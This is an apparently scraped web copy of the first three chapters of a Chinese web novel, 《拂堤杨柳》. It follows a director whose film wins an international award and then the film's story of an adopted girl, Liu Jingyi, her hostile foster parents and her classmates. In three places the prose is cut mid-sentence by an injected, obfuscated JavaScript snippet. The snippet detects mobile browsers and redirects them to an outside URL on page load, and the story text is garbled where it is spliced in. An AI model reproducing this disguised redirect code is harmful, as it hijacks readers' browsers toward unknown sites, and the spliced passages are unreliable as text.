《拂堤杨柳》 1. 晚来风 2028年秋,杨净宜执导的电影《拂堤杨柳》杀青。 同年十月,电影初剪完成。 成片出来那天,天气不太好。 室内昏暗,时间模糊,故事如流水般舒缓开来,旁人在苏敬棠精湛的演技里泪流满面时,杨净宜却垂下眼。 那张精致美丽的脸上写满疲惫。 她缓缓地伸手,拉上帽檐,隔绝掉那些令人崩溃的情绪。 然后对着催人泪下的故事冷眼旁观。 电影结束后一片低泣,杨净宜起身,漠然离席。众人面面相觑,哑然失声,揣摩不清她的意思。 十月中旬,电影精剪后提交至广电进行审核。 十一月初,审核结束,工作人员应杨净宜要求,紧锣密鼓地制定宣发计划。 一切有条不紊地推进,却在临门一脚时,被制片人江怀溪紧急叫停。 上映戛然中断。 杨净宜脑子里紧绷的弦忽的也断了。 她不顾阻拦,冷脸推开会议室的门。 江怀溪坐在尽头,抬眼望来。 偌大的房间里,杨净宜,朝他走来,一言不发。 江怀溪心跳加速,压力骤增。 气氛降到冰点。 谁也没有先说话。 几度叹息后,江怀溪率先败下阵来。 他伸手敲了两下键盘,又在大众不解的眼神中,抬眼看向面色苍白的杨净宜,按下回车。 啪嗒。 随着一声轻响,投屏内容骤变。 宣发方案烟消云散,取而代之的是屏幕上面的几个大字——作品提交成功。 大屏的光照在杨净宜那张绮丽的面孔上,她没说话,执行导演却变了脸色。 杨净宜拒绝参加任何电影节,这是整个剧组心照不宣的事,可江怀溪却瞒着杨净宜,将影片悄悄送去了绿野,参加评审。 窗外冷风呼啸,会议室里交头接耳,众说纷纭。 杨净宜回过头来,江怀溪在她居高临下的视线中,心虚的移开眼。 柳树枯黄的叶子在寒风里断裂,发出细微的声音,杨净宜忽地泄气一般,笑了一下。 江怀溪没想到她是这个反应,下意识攥紧手,杨净宜又恢复之前的倦怠,不过这一次,她却抬起眼来,对着江怀溪说: “江怀溪,你会后悔的。” 低哑的声音有着万分笃定,江怀溪被她这话说的心里一紧。 参加电影节百利无害,江怀溪不明白,这有什么好后悔的,但他也知道说服杨净宜并不简单,否则他也不会毫无商量,擅自做了这个决定。 江怀溪内心千言万语,可说出来的话却万分苍白:“净宜——不试试怎么知道?” 杨净宜深深的看了他一眼,没应,转而起身,毫无留恋的推门离开。 她下了楼,在秋风里戴上帽子,双手插兜,走向杨晴的车,徒留给站在楼上的江怀溪一个孤单的背影。 事实证明,江怀溪的决定是对的。 十一月底,法国传来好消息。 苏敬棠凭借《拂堤杨柳》顺利入围绿野电影节,获得最佳男主角提名。 莫大的荣誉之下,人人喜笑颜开,却未曾想在前往法国绿野时出来岔子。 导演拒绝同行。 天色昏沉,杨净宜个人工作室灯光大亮,却闭门谢客,不说江怀溪,就连亲生母亲杨晴也不肯见。 两人一同被拦在门口,杨晴对着江怀溪长叹一口气。秋叶落下,天空飘起来细雨,落在人身上,沾湿了两人的衣衫。 杨净宜依然不肯露面。 凄风苦雨里,杨晴侧过头,万分疲惫地对江怀溪说:“你和她少年相识,也应该知道,净宜她…是个倔强的人。” 江怀溪在这话里苦笑。 他在杨晴颓然的背影中,沉默着燃起来一根烟。 火星明灭,烟雾向上,他缓慢的抬起头来,看向前方紧闭的大门。 他和杨净宜相识十二年,当然知道杨晴没说错。 杨净宜生性执拗,一旦认定的事情就绝对不会改变,任凭谁来都说不通的。 他早就清楚这一点,不是吗? 万般无奈下,江怀溪只得亲自上阵,携剧组前往法国绿野。 2028年11月29日,苏敬棠凭借着《拂堤杨柳》中宋泓这一角色,成功夺得桂冠,斩获绿野国际影帝。 消息传回国,圈内哗然,一片震动。 杨净宜收到这个消息时,正在前往镜湖别墅的路上。 深夜暴雨,雨刷器不停运作,她坐在驾驶座上接通了来自法国的电话。 名利场内人声嘈杂,江怀溪的声音难掩兴奋:“净宜——影帝——苏敬棠拿了影帝,宋泓也如你所愿,彻底被全世界看到了。” 轮胎划过,溅起滔天雨水。 放在副驾的手机有着明显的电流声,江怀溪的声音在这个密闭的空间里无限模糊。 路边的杨柳乱飞,雨水打在车窗上,杨净宜握着方向盘,面容倦怠,不发一言。 对于自己导演的作品会获奖这件事情,杨净宜好像并不意外。 电话接通,却无人应答,江怀溪纳闷: “净宜——净宜——你有听到吗?苏敬棠拿奖了——” 他拍拍话筒,又看了一眼喧嚣的人群,举着手机走到别的地方: “净宜?《拂堤杨柳》获奖了——” 车子拐个弯,开到了镜湖别墅区门口。 智能系统识别到业主的车牌,早早开门放行。 深夜值班,保安站姿端正,冲着她露出来一个和蔼的笑。杨净宜驶进镜湖别墅大门,看着熟悉的景色,眨了眨酸涩的眼睛。 “……嗯。” 轮胎轧过路障,她对着江怀溪应了一声,向左打方向盘,驶入主路。 明明是简单的一个音节,江怀溪却在里面听出来了经年悠长的疲倦。 西琅暴雨倾盆,坏天气让江怀溪有些不好的预感,他顿了一下,快速说道:“净宜,你怎么了?又做噩梦了吗?我帮你约闻远……” “……” 杨净宜在这话里忽的轻轻的侧头。 窗外来风,江怀溪的直觉依旧敏锐,但她却没回答,而是说:“我听见了你刚刚的话……” …… 江怀溪侧头,认真倾听,电话那边却停住,久久没有下文。 雨声夹着转向灯的声音不停传来,江怀溪的心开始噗通、噗通的跳了起来。 “…净宜?” 他坐立难安,不安的情绪达到最大的时候,杨净宜又道:“……嗯。” 大雨不停落下。 目的地越来越近,打着双闪的车子开始减速,缓慢的停在了别墅前。 杨净宜在驾驶座上,玻璃上不停滑下雨水,她看着向下的水流,垂下眼睛,低声道:“……《拂堤杨柳》能拿到奖,我很开心。” 江怀溪在杨净宜的话里骤然松了口气。 不安散去,辛酸接踵而来,江怀溪躲在角落看向舞台,回想起来这一路,心里也不是滋味。 他几乎仰天长叹:“好在有苦尽甘来的这一天。” 杨净宜推开车门,撑伞下车,听见这句话的时候忽地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179073|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了。 她在暴雨里抬眼,看向面前漆黑的别墅,轻声反问道:“苦尽甘来?现在吗?” …… 不知道是不是因为西琅下雨的缘故,杨净宜的声音听起来有点奇怪,像是雨水落在树叶上又滑下的那种潮湿。 江怀溪一噎,还来不及想她今晚的种种反常,杨净宜就率先移开了话题。 “江怀溪。” “嗯?” 大雨坠落,杨净宜站在伞下仰着头,想了想,认真说:“谢谢你送《拂堤杨柳》参加国际电影节的评审。” 风吹过她清瘦的身形,带起来她的衣角,那向来淡漠的语气里有一股难以言明地释然。 江怀溪一直紧绷着的弦在这声道谢里松了下来,他天真的以为危机解除,长出一口气: “嗐,我是制片,又是副导演,应该做的,应该的。” 杨净宜在他的话里无声笑了笑,伞尖落下雨滴,她的视线也随着雨一起落在地上。 积水散开,荡起波纹。 杨净宜看着水波,平静道:“但还是要谢谢你替我做了这件事——” 电影拍摄期间,送审这个念头,在杨净宜脑海里冒出来过无数次。 残存的理智告诉杨净宜她不能那么做,却不曾想,阴差阳错,江怀溪歪打正着,帮她完成了这个事情,走完了最艰难的一步。 或许这就是天意吧。 荡漾水波彻底融入积水,了无踪迹,眼前一片漆黑,杨净宜站在别墅前,抬起眼来,对着他平静道: “电影的事就劳你费心,我累了,我要回家了。” 绿野和西琅隔着时差,现在国内正处深夜,是休息时间。 江怀溪这才反应过来,懊恼的一拍头:“哎你看我,好好,你快休息吧,电影的事情不用担心,有我在。” 杨净宜举着伞,缓慢地向别墅走去:“好。” 这个过程中,杨净宜始终没有挂断电话。 她的脚步混合在雨声中,格外清晰。 江怀溪以为她忘了,刚要挂断,电话里忽然又传来杨净宜的声音: “江怀溪。” 他顿住,心里疑惑,却也轻声应:“嗯?” 杨净宜笑了笑,收起伞,对着电话说:“再见。” 她伸手利落的按掉电话。 …… “……再见。” 江怀溪皱了皱眉头,杨净宜今天挂电话太过干脆,他有点不习惯,但人逢喜事,他也没多想,高高兴兴的回了剧组,和众人一起庆祝。 与此同时,西琅上空炸开一道雷,照亮了杨净宜苍白倦怠的模样。 闪电亮起来的那一瞬,智能门锁精准的捕捉到了她的面容,成功解锁。 杨净宜面无表情的放下伞,深呼吸一下,拉开门走进去。 这房子坐落在镜湖边,是去年年初,杨晴豪掷千万为她买下来的婚房。 杨净宜伸手拍开灯,昏黄而温馨的灯光接二连三的亮起。 时隔一年,她再次来到了这个地方。 眼前的装潢陌生而又熟悉。 杨晴为她购置的别墅有四层,内置电梯,但这一天晚上,杨净宜却一步步的走过了每一个房间。 她去负一层的酒窖里拿了一瓶红酒,在一楼拿了一个高脚杯,走到二楼的衣帽间换下来湿掉的衣服,又去三层打开了家庭影院,拿出来自己的U盘,开始放映刚刚拿下大奖的电影。 上好的红酒在高脚杯里散发出来绮丽的色泽,窗外暴雨的潮气侵入室内,雨声不断,电影里,柳静仪和宋泓迎来了他们此生的初遇。 2. 开学季 早上五点,天微微亮。 青石板路一片潮湿,风吹来,路边的柳树甩出雨水,无情的溅到行人身上,随着他穿过小巷,直直朝前去。 路旁的某户人家飘起来袅袅炊烟,行人的动静不知道惊到了谁家的狗,引来一阵吵人的犬吠。 尤婉心彻夜未眠,顺势睁眼。 她穿衣起来,顶着一张无比憔悴的脸,拉开铁门出门买菜。 铁门发出的轻微碰撞声,柳静仪在床上翻了个身。 狭小的房间里一片漆黑,她的意识逐渐回笼。 清醒后,柳静仪当即踩上鞋,外套都来不及穿,匆匆忙忙的朝外跑去。 推开门,外面空空如也。 尤婉心早就走出小巷,连人影儿也找不见了。 风又吹起来杨柳,水汽弥漫,柳静仪站在巷子里,垂下眼,掩饰掉那些失落,没什么表情的回了家。 她拉开门,步履疲惫的上前。 柳建明还在房间里呼呼大睡,客厅里面一片狼藉,柳静仪目不斜视,加快脚步回了房间。 她关上门,身上传来一阵不适,柳静仪闭着眼倒在床上,手指用力的插进了头发里,重重的呼出来一口气。 又是新的一天。 柳静仪是在六岁那年被柳建明夫妇领养的。 柳建明和尤婉心恋爱第二年,出游时出了车祸,两人纷纷受了重伤,鬼门关里走了一趟。 后来人醒了,柳建明没什么事,尤婉心却被告知说这辈子很难再怀孕。她流着泪和柳建明说分手,柳建明却一言不发的离开。 没多久,柳建明带着自己的户口本去而复返。 病房里,他单膝跪地,对着尤婉心求婚。 尤婉心在他的行动里泣不成声,而尤婉心那一直反对两人恋爱的父母,见状也松了口。出院当天两人就去民政局领了证,第二天接着去了郊区那家福利院。 在那里,柳建明和尤婉心一眼就看中了柳静仪。 据院长说,她自出生就被人丢在福利院门口,多年无人来寻。 尤婉心听着院长的话,满眼可惜,柳建明西装革履的上前,在柳静仪面前蹲下,笑着和她说话。 老院长叹了口气,对尤婉心说:“是个可怜孩子。” 尤婉心叹了口气,没说话,柳静仪在这个时候转过头来。二人四目相对,秋叶忽地漫天。 眼前的这个女孩年龄小,漂亮,聪明伶俐,除了有点内向,不爱说话之外,哪里都出奇的合适。 两人一致敲定了柳静仪,当天就走完了领养手续,带她回了家。 就连柳静仪这个名字,都是尤婉心给她取的。 静仪。 柳静仪躺在床上,翻了个身。 瓌姿艳逸,仪静体闲。是谓静仪。 柳静仪。 一开始,两人真的将柳静仪当成自己的孩子养,但日子过多了,摩擦愈演愈烈,哪里还顾得上什么初心…… 柳静仪在一股难以言喻的疲惫中闭上眼睛。 她脑海一阵剧痛,昏昏沉沉之间,竟又睡了过去。 再次醒来后,天光大亮。 尤婉心已经开始在厨房做饭了,房子隔音不好,柳静仪在锅碗瓢盆的劈里啪啦声里起床。 匆匆洗漱完后,她走到桌前,拿起来放在桌上的书包,旁边的日历上画了个圈。 九月一号。 下面标注了一行小字:西琅一中开学。 柳静仪收回视线,背上书包出门。 尤婉心在厨房看见她后,视若无睹的移开目光。 柳建明还在房间内呼呼大睡。 柳静仪顿了一下,缓慢地走到厨房。 尤婉心肿着眼睛,故意背过身去,查看炉火上炖着的粥。海鲜粥香气四溢,里面的虾仁鲜亮,是尤婉心起大早去市场买的。 她尝尝味,又往里面放了一点盐。 盖上盖子,柳静仪还在厨房门口站着,尤婉心眨了眨眼睛,又去看旁边的新鲜水果。 橙子,柠檬,猕猴桃个大饱满,格外喜人。 尤婉心打开水龙头,加盐浸泡,仔仔细细的清洗表面。 水流声里,柳静仪终于忍不住:“妈…” 话音未落,尤婉心忽然转过头来,直直的看着她,眼神幽暗,脸色难看的吓人。 柳静仪闭了闭眼睛,改口:“…阿姨。” 结婚后夫妻二人争吵频发,近年感情愈发破裂,今年夏末,尤婉心不知道受了什么刺激,忽地性情大变。她不再允许柳静仪叫她妈妈,而是近乎执着地让柳静仪叫她阿姨。 没有原因的改变,柳静仪总是适应不过来,隔三岔五叫错,惹得尤婉心不快。 窗外吹来一阵风,院子里的树淅淅沥沥的落了一地水,尤婉心眨眨红肿的眼睛,冷声道:“嗯,有什么事?” 柳静仪抬头看她:“今天西琅一中开学…” 话音未落,尤婉心就打断她:“那你不去学校,在我厨房门口杵着干什么?我是老师吗?” …… 柳静仪垂下头去,没说话。 尤婉心站在窗前耐心的剥水果,指甲破开橙皮,汁水泚到她眼里,她顿了一下,伸手擦擦眼睛,冷漠地看向站在厨房门口的柳静仪。 那清瘦的背影看起来格外的沮丧。 尤婉心哽了一下,紧接着没好气道: “还不走?迟到了可没人送你去学校。” 柳静仪沉默的看了她一眼。 旁边的海鲜粥咕嘟咕嘟的冒着热气,尤婉心对她低吼道:“还看?不是给你吃的,还不快走。” 柳静仪在尤婉心斥责的话里点点头,轻声说: “知道了…阿姨。我去上学了。” 柳静仪背着书包离开,雨后的小巷一片潮湿,她的眼睛也反射出来一些水光。 消瘦的身影离家越来越远,即将走出小巷的时候,家门口的铁门好像响了。 柳静仪饿着肚子走了二十分钟,才到校门口。 西琅一中建校多年,恢宏大气,可比起来校内建筑,眼前停下的豪车似乎更加引人注目。 迈巴赫S680大摇大摆的停在门口,宋承德下车,满脸纵容的看着宜兰拉开后座的门。 人未见声先行,宋泓的声音从后座传来:“妈,我都说了不用你和爸送,我自己能行——” “那怎么行?这是你高中第一天呀,爸爸妈妈可不能缺席这么重要的时刻。” …… 宋泓下车,站在校门前,那张俊美的脸上写满了对着宜兰和宋承德的无奈。 西装革履的宋承德耸了耸肩,看向宜兰。 身着深蓝色小香风套装的宜兰淡淡弯起来唇角,温柔笑道: “怎么?怕爸爸妈妈给你丢脸哇?” …… 越描越黑,宋泓干脆笑了一下,一摆手,背着包往学校里走。 爱怎么想怎么想吧。 “哎宋泓——” 眼见宋泓叛逆心上来,宜兰扑哧一声笑了,宋承德揽住她的肩膀低声道:“他现在又不禁逗,你还要惹他。” 宜兰笑了:“那怎么啦?他这个性格你又不是不知道,都不用哄,一会自己就好啦!” 两人追着宋泓的背影越走越远,柳静仪站在校门口围观了全程。 许久后,她淡淡的眨了眨眼睛,转身进了学校。 - 西琅落下第一场秋雨的时候,高一年级月考出了成绩。 天璇楼下光荣榜前围满了人,江怀溪奋力挤进去,一抬头就看见了柳静仪那张出众的脸。 她淡漠又无所谓的视线看向镜头,然后在畸变的镜头下留下惊人的美貌。 江怀溪对着那张证件照下意识低声道: “靠……” 相璨喘着粗气挤进来,低头看年级大榜上。 她擦着录取线进来西琅一中,此刻格外自觉地倒着找自己的名字,相璨边找边问: “怎么了你就靠——” 手指在年级大榜上逆行,一个接一个的划过那些名字,宋泓…游海…邱池…连镶……相璨! 倒数最后一列终于出现,相璨高兴地抬头,然后和江怀溪一样,直直撞进柳静仪那双淡漠的眼睛里。 …… 相璨:“靠!” 她气笑了:“不是我说?老娘没日没夜的写作业结果考倒数,她柳静仪隔三岔五就请假旷课,反而考第一?有没有天理了?” 年级二百多名的江怀溪同样欲哭无泪。 他想不通,同样坐在教室里努力,怎么人和人的差别就这么大?! 两人凑在一起垂头丧气,天璇楼前看榜的学生只多不少,一阵风吹来,楼前竹叶落下来枯黄的叶子,柳静仪站在二楼办公室门口,伸手敲了两下开着的门。 年纪主任梅山头也不抬,“请进。” 柳静仪走到他面前,不卑不亢道:“梅主任,您找我?” 梅山闻言抬头,见到柳静仪后,严肃的脸上散出来星点笑意。 他放下手里的成绩单,对柳静仪说: “静仪啊,身体好一点没有?我怎么看着你又找你们班主任老师请假了?” 柳静仪在这关心里下意识伸手拉了拉校服的袖子,说:“比之前好一点,但还是不舒服,所以又找老师请了两天…” 她面色苍白,梅山也在那声音里听出来虚弱,他叹气说:“还是要照顾好身体啊。” 柳静仪点点头,又察觉到什么,对梅山疑惑道:“梅主任找我,是有什么事情吗?” 梅山在这话里淡淡的笑了,“月考成绩看了吗?” 柳静仪摇摇头:“还没来得及…” 话说到一半,她顿了顿,抬起头问梅山:“是我这次考的很差吗?” 问句里有着一丝不易察觉的紧张。 话音刚落,梅山就笑了:“怎么会?” 他伸手把桌上的成绩单推给柳静仪:“你表现的很好。” 柳静仪没说话,她不能确定梅山的好,和她认为的好,是不是同一个概念。 犹豫一下,柳静仪还是伸手拿起那张薄薄的纸,认真查看。 柳静仪、17级9班、语文139、数学142、英语144……班级排名1、年纪排名……1。 柳静仪松了口气。 第一名,奖学金没丢,幸好。 幸好。 剧烈的心跳声里,她听见梅山欣慰道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“各位早上好,我是17级9班的柳静仪——” 她在晨曦里微微弯腰,伸手握上立式话筒,冷淡的声音夹杂着微弱的电流声,引起哇声一片,柳静仪显然已经习惯了这样的动静,眼也不眨的继续脱稿演讲。 相璨站在江怀溪旁边随着大部队鼓掌,她是个颜控,又是个声控,一激动,手都拍红了。 “你说这算什么事儿呢?” 江怀溪凑过来,低头和相璨窃窃私语: “长得好看,手也好看,学习又好,还一点都不怯场,你说这…哎…上天未免也太偏爱她了吧?” 相璨也耸耸肩,长叹一声。 五分钟的演讲稍纵即逝,即将结束时,队伍后面忽然传来一阵嘈杂。 柳静仪站在最高点,远远就看见一个高大的身影背着书包逆光而来。 队伍后方,梅山的低声斥责隐隐响起: “宋泓,强调多少次了,升旗仪式不要迟到不要迟到,你就是不听!!” 被批评的人面无表情。 班主任伸手,在旁边拍了他一下,宋泓不情不愿道: “梅主任…” “梅主任什么梅主任?!扣你两分平时分,打扫教室一周。” 梅山反手在扣分表上写下宋泓的名字,哼了一下,抬脚走远了。班主任也没有过多责怪,伸手拍了拍他以示安慰。 宋泓忍着烦躁,走到班级队尾。 连镶在旁边侧过头来,趁梅山不注意,快速道: “你今天怎么来这么晚?” “嗯,闹钟没响。” 宋泓有一搭没一搭的应了一下。 昨晚睡觉前他没注意,吃的药多了两粒,导致早上没起来,还是宜兰察觉不对,叫醒他的。 宋泓起床后匆匆忙忙的往学校赶,却还是迟到了。 药效没过,他心情又有点糟糕,整个人看起来格外不耐烦。 演讲还在继续,柳静仪冷淡的声音不起波澜:“以上是我个人的学习经验——” 宋泓不经意抬头,见到在台上的柳静仪,顿了一下,他对着连镶垂头,低声问道: “那是谁?” “不是吧哥们,你连她都不知道?柳静仪哎,17级9班的柳静仪!年级有名的大美人,学习又好。” “……” 连镶激动,但又想起来什么,补充道: “就是有点高冷,不爱搭理人。” 宋泓在他夸张的描述里抬起眼来,低声道: “是吗?” 台上,柳静仪的演讲迎来结束,“希望能帮到大家,谢谢——” 主席台下掌声雷动,柳静仪不卑不亢的鞠躬,宋泓在人群里,直直的看向她。 这视线太过强烈,以至于柳静仪直起身来后,一眼就注意到了宋泓。晨光在此刻忽地灼人,两人有了一个似有还无的对视。 柳静仪难得顿了顿,转身下台。 宋泓看着柳静仪清瘦的背影,眯了眯眼。 柳静仪……? 3. 积雪 升旗仪式的第二天,宋泓踏上了前往美国的飞机。 飞行途中,宜兰在头等舱内合上电脑,宋泓看向窗外,神色莫测的说:“为什么忽然给我请假?” “……” 宋泓见她沉默,转过头来盯着她,继续发难,“为什么不事先告诉我一声?” 宜兰眨了眨眼睛,叹了口气。 宋泓在他十四岁那年患上了精神障碍,国内治疗无效,宋承德便为他找了国外的医生,此后每年,他们都会带宋泓前往北美进行治疗。 风雨无阻。 此刻也不例外。 她看向宋泓,温声回应那些尖锐的质问:“怀特先生发来了邮件,说你到了复诊时间…宋泓,他很担心你。” 宋泓在这话里感到一阵胸闷,但他只是淡淡的皱了眉,说:“那我们要去多久?什么时候才能回来?” 高一上学期的课程他刚刚才适应,老师也说过要讲重难点了,他还有课…… 宜兰一脸为难。 宋泓莫名有种不好的预感,他顿了一下,试探一般问:“三天?五天?还是十天半个月?” 宜兰的叹息更甚,那声音显得极为悠长: “宋泓…你知道我们说了不算的…” …… 又是这样的说辞,又打太极要他配合治疗,他几乎都能背下来了。 宋泓泄了一口气,他不想再听宜兰说出来更多让人感到无力的话,索性侧头,看向万里高空。 眼前流云划过,蓝天无际,一片开阔。 宋泓在洁白的云里垂下眼睛,不知道在想什么。 往日都是落地兰辛,但是近年怀特先生搬去了波士顿,宋泓只能随之前往。 宜兰话里的犹疑确实反常,宋泓的预感不假。 如他所料,他在波士顿待了很久,不是三天,也不是五天,而是整整两个月。 空旷的街道漫天飘雪,畏冷的人在波士顿迎来了寒冬。 干净整洁的屋里燃起来火炉,宜兰和宋承德坐在温暖的房间里,眼含希冀的看向前方。 怀特医生柔和地看了他一眼,宋泓眨了眨眼,识趣的起身,对着几人道: “这里有点闷,我出去透透气。” 宋承德点点头,宜兰满脸关切:“外面下雪呢,你带上帽子和围巾,不要被冻着了。” 宋泓应了一声,推开门出去了。 宜兰看着宋泓走进雪里,宋承德望向前方,怀特先生推了推无框眼镜,露出来一个笑: “恭喜啊宋先生,宋泓的精神障碍已经痊愈七成了……” 宋承德高兴的怔住,宜兰捂住嘴,一下就红了眼睛。玻璃门外,鹅毛大雪落在宋泓漆黑的头发上,他看着屋内人的反应,没什么表情的拉上围巾,转身下楼。 波士顿的冷空气灌进他的胸腔,宋泓站在楼梯中央,看着眼前白茫茫的一片,感觉到一股异样的迷茫。 抬脚下楼,鞋子踩在厚厚的积雪上,咯吱声清晰的传到他耳中。 院子里的老树在雪下看不清本来的颜色,怀特医生颜色艳丽的车子在雪下也变得柔和,冰天雪地里,一切都变得格外安静。 宋泓呼出一口热气,摘下手套,伸出手来接住一片雪花。 万籁俱寂中,六瓣冰晶在他掌心里缓慢融化。 宋泓垂眸见那雪花缓缓的化成一滩水,缓缓的颤了颤睫毛。 寒风呼啸,波士顿的初冬也让人格外的难以忍受,宋泓摊开的手掌逐渐攥成拳,他收回视线,淡淡的眨了眨眼睛。 怀特医生和宋承德夫妇的洽谈时间向来不短,就在宋泓想要戴上手套,去空旷的街道漫无目的地走走时,耳边忽然传来一阵非常微弱的声音。 “喵——喵——” 宋泓以为自己又出现了幻觉,当即停在了原地。 他抬头,茫然而无措的看向声音的来处。 “喵……” 宋泓的手紧紧的攥住手套,手背上因为用力起来了青筋。 他缓慢又犹豫的往声音来源——也就是怀特先生的车旁走去,然后低头,看见了一只小猫。 “喵……” 是一只三花。 很小,只有少年人巴掌那么点大。 小猫见到宋泓,仰起头来,冲着他发出了虚弱且濒死的叫声。 宋泓松了口气。 他蹲下来,说不清楚自己是什么感受。 眼前的小三花被大雪冻的瑟瑟发抖,它眨着眼,直直的看着宋泓。 宋泓犹豫了一下,伸出手来,轻轻掸去落在它身上的雪,又对着它低声呢喃: “小猫,天这么冷,你为什么不找个温暖的地方躲起来呢?” “喵——” 三花似乎听懂了他的话,低声叫了一下,又抬头看他。 它站起来,后腿很快支撑不住,又倒在地上,大雪纷扬的落在它身上,小三花看着宋泓,虚弱又可怜的叫道:“喵……” 这是一个有身体缺陷的小猫。 宋泓伸出去想要抱猫的手忽然停在了半空。 雪好像下的更大了一点。 宋泓眨了眨眼,伸手摘下围巾把小猫包起来。 寒风凌冽,清瘦的少年蹲在车前,在大雪下,对着小猫轻轻道: “你也生病了吗,小猫?” — 青石板路上盖了薄薄的一层雪。 下午一点半,天色一片阴沉。 房间内开了空调,柳建明正坐在屋内喝酒。 尤婉心坐在一旁看电视,隔壁房间传来动响,她转过头,从玻璃窗向外看。 柳静仪推门出来。 她似乎没有睡好,那张脸上写满了疲惫。 风吹起她的头发,她仰起头,站在屋檐下抬头看着小雪,鼻尖很快被冻红。 粗盐大小的雪花四处弥漫,寒冷的空气让人骤然生出一股恍惚。 西琅的冬天很冷,尤婉心后知后觉,柳静仪狭小的房间里好像没有任何取暖的工具。 她眨了眨眼,视线缓缓下移,看向柳静仪的手,入目一片通红。 骨节分明的手似乎要生疮。 柳静仪在这时回过神来,将单薄的衣服拉到最上方后,把手揣进兜里,朝这边来。 尤婉心在她缓慢的脚步声里垂下眼睛,神色莫测。 电视声音在此刻格外嘈杂,果不其然,柳静仪走到房门口,伸手敲了敲门,柳建明眼也不抬,含混问道:“怎么了?” 饭桌上一片狼藉,柳静仪没有进去,而是站在门口说: “月考和期中的奖金我存到卡里了,没什么事情的话,我去上学了。” 西琅一中每次考试后都有奖励,奖金很高,而柳静仪拿到的所有钱,都会存到柳建明的银行卡里,美其名曰补贴家用。 她心里明镜一样,这钱要么就是被柳建明拿去喝酒,要么就会被尤婉心拿来买保险,补贴家用只是说辞。 好在柳静仪的学杂费西琅一中全包,平日生活里也用不到什么钱,这件事也就轻描淡写的接受了。 柳建明闻言轻哼一声,脸上没什么表情,仿若这钱来的理所应当,反倒是尤婉心皱了皱眉,开口叫住她: “等等——” 柳静仪离开的步伐停住,她眨了眨眼睛,转身看向尤婉心:“还有什么事吗妈…” 尤婉心脸上又出现了那种类似于愤怒的复杂神情,柳静仪闭上眼睛,无力的改口: “……阿姨。” “今天晚上我和你爸有事,你先去姚阿姨家借住一晚。” 柳静仪在她的话里抬眼,又缓慢的看向柳建明握着的酒杯。 地下的瓶子横七竖八的躺着,柳建明两颊通红,一看就是喝高了。 柳静仪收回视线,在这个家里多年生活下来的经验让她对着尤婉心小幅度的摇了摇头: “我不去。” 说不清是柳静仪的忤逆行为还是成年人的情绪失控作祟,短短三个字当即点燃了尤婉心的怒火。 她一把掀开盖在腿上的毛毯,像个炸毛的狮子一样起身,朝柳静仪走来: “你不去?你再给我说一遍?” 柳静仪淡淡的看向她,没有出声。 尤婉心在那倔强的神色里伸出手来,毫无怜惜地把柳静仪拽出门,对她破口大骂。 大声的责骂融在风里,隔着很远都能听到。 闷头喝酒的柳建明听见后皱了皱眉,又醉醺醺的笑了起来,笑声里有些疯癫意味。 他嘬尽小酒杯里最后的那一点酒,昏沉的把杯子拍在桌上,大着舌头道:“上学上学…这死丫头…一天到晚就…就…只知道上学…” 说着,他垂下头昏昏欲睡,又猛地起来,神志不清的咕哝: “…连老子住…住院…都…都不关心…白养…” 话说到一半,电视的嘈杂声越来越大,柳建明眼前五颜六色,渐渐模糊开。 室外,尤婉心拽着柳静仪拉开门,伸手推她出去。 不知道碰到了什么地方,又或是力气重了些,柳静仪在她的动作里倒抽一口凉气,尤婉心语气严厉: “刚刚的话我就当没听见,柳静仪,你现在抓紧时间给我滚去上学——” 柳静仪沉重的抬眼,红着眼睛看她。 尤婉心置若罔闻,她在柳静仪的视线里后退两步,“晚上去你姚阿姨家住,这事没得商量。” 她放完狠话后转身,嘭的一下关上了大门,又在门里上了锁。 金属声摩擦让柳静仪生出来满背的鸡皮疙瘩。 干脆利落的动作冷漠而又无情,即便经历过很多次,可柳静仪还是湿了眼眶。 她不明白尤婉心为什么忽然对她这么无情。 像是多年的情谊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179075|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫而空,剩下的,只有生活里积累出来的憎恨。 天上飘的雪又大了一些,小巷子里已经是厚厚一层白了。 许久,柳静仪终于红着眼睛转身,忍着泪,拖着沉重的步伐向学校走。 雪天路滑,加上柳静仪神思恍惚,走到学校已经响了预备铃。 今天恰好轮到梅山值班,他穿着版型挺阔的厚风衣,带着无框眼镜,站在天璇楼前执勤。 被抓住的倒霉蛋站在他身旁欲哭无泪。 江怀溪也万万没想到,他就迟到一分钟,梅山也不肯睁一只眼闭一只眼。 真当自己是西琅包青天呢? 江怀溪懊恼的牙龈都要碎掉,怎么就一点都不通融呢?!不能学学人家隔壁张星光吗? 人家张主任都能放任学长叫他外号!梅山这连迟到都不能多一秒钟?! 天理何在啊? 江怀溪越想越悲痛,那表情生动的,就连梅山都忍不住瞥了他一眼。 江怀溪当即双手合十,满眼恳求,梅山见到了,笑了一下,就在江怀溪以为有希望的时候,梅山无情地低头,记上了他的名字。 再一抬眼,柳静仪顶着大雪缓缓而来。 